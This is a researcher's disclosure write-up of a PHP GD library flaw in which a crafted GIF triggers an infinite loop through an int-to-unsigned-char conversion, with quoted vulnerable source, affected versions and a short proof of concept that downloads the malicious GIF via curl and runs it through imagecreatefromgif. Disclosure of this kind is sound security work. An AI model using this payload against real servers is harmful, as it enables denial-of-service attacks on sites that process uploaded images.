Author: Orange Tsai(@orange_8361) from DEVCORE
Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!
Affected
All PHP version
- PHP 5 < 5.6.33
- PHP 7.0 < 7.0.27
- PHP 7.1 < 7.1.13
- PHP 7.2 < 7.2.1
Vulnerability Details
The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte_
460 do {
461 sd->firstcode = sd->oldcode =
461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463 } while (sd->firstcode == sd->clear_code);
Function GetCode is just a wrapper, and GetCode_ do the real stuff.
376 static int
377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378 {
379 int i, j, ret;
380 unsigned char count;
...
399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400 scd->done = TRUE;
...
405 }
GetCode_ call GetDataBlock to read data from GIF!
332 static int
333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334 {
335 unsigned char count;
336
336 if (! ReadOK(fd,&count,1)) {
338 return -1;
339 }
340
341 *ZeroDataBlockP = count == 0;
342
343 if ((count != 0) && (! ReadOK(fd, buf, count))) {
344 return -1;
345 }
346
347 return count;
348 }
OK, here are all vulnerable code, can you spot the vulnerability? 😛
The bug relied on the type conversion from int to unsigned char. As you can see:
If GetDataBlock_ return -1, scd->done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.
So the result is, one single GIF can make an infinite loop and exhausted the server resource.
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here...
It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...
Epilogue
I will disclose more 0-days in the future!
